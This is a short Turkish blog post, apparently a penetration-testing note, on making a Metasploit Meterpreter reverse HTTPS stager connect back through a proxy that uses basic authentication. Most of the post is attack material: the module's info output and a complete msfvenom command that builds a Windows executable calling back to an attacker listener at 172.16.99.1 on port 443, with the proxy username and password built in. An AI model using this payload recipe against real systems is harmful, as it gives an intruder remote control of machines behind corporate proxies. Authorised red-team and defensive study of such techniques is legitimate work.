
Vekil sunucu kullanan ortamlarda ters bağlantı elde edebilmek için kullanılacak payload'un vekil sunucuyu ve kullandığı kimlik doğrulama tipini desteklemesi gerekmektedir. Bu notta NTLM tipini de destekleyen Metasploit
reverse_https modülü ile basic authentication kullanan vekil sunucu üzerinden nasıl bağlantı sağlanacağı anlatılacaktır.
NTLM'in aksine başarılı bir basic authentication sonrasında kullanıcı adı ve parola bilgileri tarayıcı gibi proseslerinin üzerinde tutulur. Bu yüzden
reverse_http(s) parola hakkında bilgi sahibi değildir. Bunun yerine reverse_http(s) stager'ı
WinInet API'sini kullanarak Internet erişimini Windows'un yönetmesine izin verir. Aşağıdaki reverse_https versiyonunda
payload içerisine geçerli bir kullanıcı adı/parola belirtilir. IP, port vb. gibi vekil sunucu ayarları ise
WinInet tarafından otomatik olarak yönetilir.
Kullanım
Modül bilgileri
msf > info payload/windows/meterpreter/reverse_https_proxy_basicauth
Name: Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager (proxy basic auth)
Module: payload/windows/meterpreter/reverse_https_proxy_basicauth
Version: 1, 15548, 14976
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 425
Rank: Normal
Provided by:
skape
sf
hdm
Basic options:
Name Current Setting Required Description
---- --------------- ------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
PROXY_AUTH_PASS pass123 yes Proxy authentication (password)
PROXY_AUTH_USER username yes Proxy authentication (username)
Description:
Tunnel communication over HTTP using SSL, using hardcoded proxy auth
settings, Inject the meterpreter server DLL via the Reflective Dll
Injection payload (staged)
Exe üretimi
# msfvenom -p windows/meterpreter/reverse_https_proxy_basicauth -f exe LPORT=443 LHOST=172.16.99.1 PROXY_AUTH_USER=kullanici_adi PROXY_AUTH_PASS=parola > /tmp/msf.exe
Kaynak: http://funoverip.net/2012/10/metasploit-stager-reverse_https-basic-authentication-against-proxy/
0 comments:
Post a Comment